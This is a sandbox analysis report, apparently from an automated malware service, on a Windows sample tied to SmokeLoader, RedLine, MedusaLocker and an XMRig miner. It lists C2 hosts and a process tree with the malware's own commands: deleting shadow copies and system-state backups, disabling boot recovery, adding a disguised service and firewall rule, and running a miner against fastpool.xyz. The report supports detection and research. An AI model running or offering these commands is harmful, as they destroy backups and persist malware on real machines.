Overview

overview

10

Static

static

dridex

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    20/09/2021, 21:51

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General

  • Target

    eeb0579f309f7c084e5b313c4d79106c2ca4f7ea68ff92127077018a05b7c316.exe

  • Size

    270KB

  • MD5

    1c1ba9aab0fe6101fe5981644cfeca48

  • SHA1

    c32496a11684cc7a680f92a64d036e68bace27ab

  • SHA256

    eeb0579f309f7c084e5b313c4d79106c2ca4f7ea68ff92127077018a05b7c316

  • SHA512

    698763916ee04994b75638eb12e01f3c17a9a74f97cb87867c5a112cf48213f3fd418abeec6d714c5d6468a4f413ce612c5dfb2f0cc91d9a36d781158bb9c30e

Score
10/10
medusalockerraccoonredlinesmokeloadertofseexmrigkhrip1kbackdoordiscoveryevasioninfostealerminerpersistenceransomwarespywarestealerthemidatrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://venerynnet1.top/

http://kevonahira2.top/

http://vegangelist3.top/

http://kingriffaele4.top/

http://arakeishant5.top/
rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

khrip1k

C2

91.142.77.155:5469

Signatures

  • MedusaLocker

    Ransomware with several variants first seen in September 2019.

    ransomwaremedusalocker
  • MedusaLocker Payload 1 IoCs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • XMRig Miner Payload 3 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Deletes System State backups 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Downloads MZ/PE file
  • Drops file in Drivers directory 12 IoCs
  • Executes dropped EXE 7 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Modifies extensions of user files 26 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 42 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 64 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 49 IoCs
  • Drops file in Windows directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Interacts with shadow copies 2 TTPs 13 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies data under HKEY_USERS 12 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\eeb0579f309f7c084e5b313c4d79106c2ca4f7ea68ff92127077018a05b7c316.exe
    "C:\Users\Admin\AppData\Local\Temp\eeb0579f309f7c084e5b313c4d79106c2ca4f7ea68ff92127077018a05b7c316.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3008
    • C:\Users\Admin\AppData\Local\Temp\eeb0579f309f7c084e5b313c4d79106c2ca4f7ea68ff92127077018a05b7c316.exe
      "C:\Users\Admin\AppData\Local\Temp\eeb0579f309f7c084e5b313c4d79106c2ca4f7ea68ff92127077018a05b7c316.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2244
  • C:\Users\Admin\AppData\Local\Temp\82A8.exe
    C:\Users\Admin\AppData\Local\Temp\82A8.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:352
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tevsvgon\
      2⤵
        PID:588
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ombnhdoe.exe" C:\Windows\SysWOW64\tevsvgon\
        2⤵
          PID:1004
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tevsvgon binPath= "C:\Windows\SysWOW64\tevsvgon\ombnhdoe.exe /d\"C:\Users\Admin\AppData\Local\Temp\82A8.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1192
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description tevsvgon "wifi internet conection"
            2⤵
              PID:1496
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start tevsvgon
              2⤵
                PID:1772
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2496
              • C:\Users\Admin\AppData\Local\Temp\91FB.exe
                C:\Users\Admin\AppData\Local\Temp\91FB.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:1776
              • C:\Windows\SysWOW64\tevsvgon\ombnhdoe.exe
                C:\Windows\SysWOW64\tevsvgon\ombnhdoe.exe /d"C:\Users\Admin\AppData\Local\Temp\82A8.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2428
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3896
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3576
              • C:\Users\Admin\AppData\Local\Temp\A390.exe
                C:\Users\Admin\AppData\Local\Temp\A390.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:3668
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\A390.exe"
                  2⤵
                    PID:4916
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /T 10 /NOBREAK
                      3⤵
                      • Delays execution with timeout.exe
                      PID:5008
                • C:\Users\Admin\AppData\Local\Temp\C939.exe
                  C:\Users\Admin\AppData\Local\Temp\C939.exe
                  1⤵
                  • Drops file in Drivers directory
                  • Executes dropped EXE
                  • Modifies extensions of user files
                  • Adds Run key to start application
                  • Drops desktop.ini file(s)
                  • Enumerates connected drives
                  • Drops file in System32 directory
                  • Drops file in Program Files directory
                  • Drops file in Windows directory
                  • Suspicious use of WriteProcessMemory
                  • System policy modification
                  PID:616
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=401MB
                    2⤵
                    • Interacts with shadow copies
                    PID:1816
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=unbounded
                    2⤵
                    • Interacts with shadow copies
                    PID:4340
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=401MB
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:4472
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:4636
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=401MB
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:4688
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:4776
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=401MB
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:4856
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:4956
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=401MB
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:5020
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:5092
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=401MB
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:4280
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:1828
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Delete Shadows /All /Quiet
                    2⤵
                    • Interacts with shadow copies
                    PID:4392
                  • C:\Windows\SYSTEM32\bcdedit.exe
                    bcdedit.exe /set {default} recoveryenabled No
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:4320
                  • C:\Windows\SYSTEM32\bcdedit.exe
                    bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:4488
                  • C:\Windows\SYSTEM32\wbadmin.exe
                    wbadmin DELETE SYSTEMSTATEBACKUP
                    2⤵
                    • Deletes System State backups
                    • Drops file in Windows directory
                    PID:4124
                  • C:\Windows\SYSTEM32\wbadmin.exe
                    wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
                    2⤵
                    • Deletes System State backups
                    • Drops file in Windows directory
                    PID:4652
                  • C:\Windows\System32\Wbem\wmic.exe
                    wmic.exe SHADOWCOPY /nointeractive
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4696
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\C939.exe >> NUL
                    2⤵
                      PID:4892
                  • C:\Users\Admin\AppData\Local\Temp\D56F.exe
                    C:\Users\Admin\AppData\Local\Temp\D56F.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3840
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2152
                  • C:\Users\Admin\AppData\Local\Temp\DF34.exe
                    C:\Users\Admin\AppData\Local\Temp\DF34.exe
                    1⤵
                    • Executes dropped EXE
                    PID:4304

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  • memory/352-124-0x0000000000400000-0x0000000000454000-memory.dmp

                    Filesize

                    336KB

                    Download

                  • memory/352-123-0x0000000000530000-0x0000000000543000-memory.dmp

                    Filesize

                    76KB

                    Download

                  • memory/616-169-0x00007FF702750000-0x00007FF702FC8000-memory.dmp

                    Filesize

                    8.5MB

                    Download

                  • memory/1776-139-0x0000000003270000-0x0000000003271000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1776-160-0x00000000071C0000-0x00000000071C1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1776-135-0x00000000771E0000-0x000000007736E000-memory.dmp

                    Filesize

                    1.6MB

                    Download

                  • memory/1776-136-0x0000000000340000-0x0000000000341000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1776-138-0x0000000005B80000-0x0000000005B81000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1776-155-0x0000000006CE0000-0x0000000006CE1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1776-156-0x00000000073E0000-0x00000000073E1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1776-157-0x0000000007910000-0x0000000007911000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1776-158-0x0000000006EB0000-0x0000000006EB1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1776-159-0x00000000070A0000-0x00000000070A1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1776-140-0x0000000005570000-0x0000000005571000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1776-205-0x0000000007320000-0x0000000007321000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1776-143-0x0000000005560000-0x0000000005561000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1776-163-0x0000000007120000-0x0000000007121000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1776-142-0x0000000005420000-0x0000000005421000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1776-141-0x00000000053E0000-0x00000000053E1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2244-114-0x0000000000400000-0x0000000000408000-memory.dmp

                    Filesize

                    32KB

                    Download

                  • memory/2428-148-0x0000000000400000-0x0000000000454000-memory.dmp

                    Filesize

                    336KB

                    Download

                  • memory/3008-116-0x0000000000030000-0x0000000000039000-memory.dmp

                    Filesize

                    36KB

                    Download

                  • memory/3020-117-0x00000000001A0000-0x00000000001B5000-memory.dmp

                    Filesize

                    84KB

                    Download

                  • memory/3576-174-0x0000000000890000-0x0000000000981000-memory.dmp

                    Filesize

                    964KB

                    Download

                  • memory/3576-179-0x0000000000890000-0x0000000000981000-memory.dmp

                    Filesize

                    964KB

                    Download

                  • memory/3668-152-0x00000000065C0000-0x000000000A69F000-memory.dmp

                    Filesize

                    64.9MB

                    Download

                  • memory/3668-153-0x0000000000400000-0x0000000004605000-memory.dmp

                    Filesize

                    66.0MB

                    Download

                  • memory/3840-187-0x00000000008A0000-0x00000000008D0000-memory.dmp

                    Filesize

                    192KB

                    Download

                  • memory/3840-186-0x00000000023B0000-0x00000000023CE000-memory.dmp

                    Filesize

                    120KB

                    Download

                  • memory/3840-183-0x00000000021A0000-0x00000000021BF000-memory.dmp

                    Filesize

                    124KB

                    Download

                  • memory/3840-190-0x0000000004B00000-0x0000000004B01000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/3840-188-0x0000000000400000-0x0000000000467000-memory.dmp

                    Filesize

                    412KB

                    Download

                  • memory/3840-192-0x0000000004B02000-0x0000000004B03000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/3840-194-0x0000000004B03000-0x0000000004B04000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/3840-196-0x0000000004B04000-0x0000000004B06000-memory.dmp

                    Filesize

                    8KB

                    Download

                  • memory/3896-144-0x00000000001B0000-0x00000000001C5000-memory.dmp

                    Filesize

                    84KB

                    Download

                  • memory/4304-201-0x0000000000400000-0x0000000000494000-memory.dmp

                    Filesize

                    592KB

                    Download

                  • memory/4304-200-0x00000000005C0000-0x000000000070A000-memory.dmp

                    Filesize

                    1.3MB

                    Download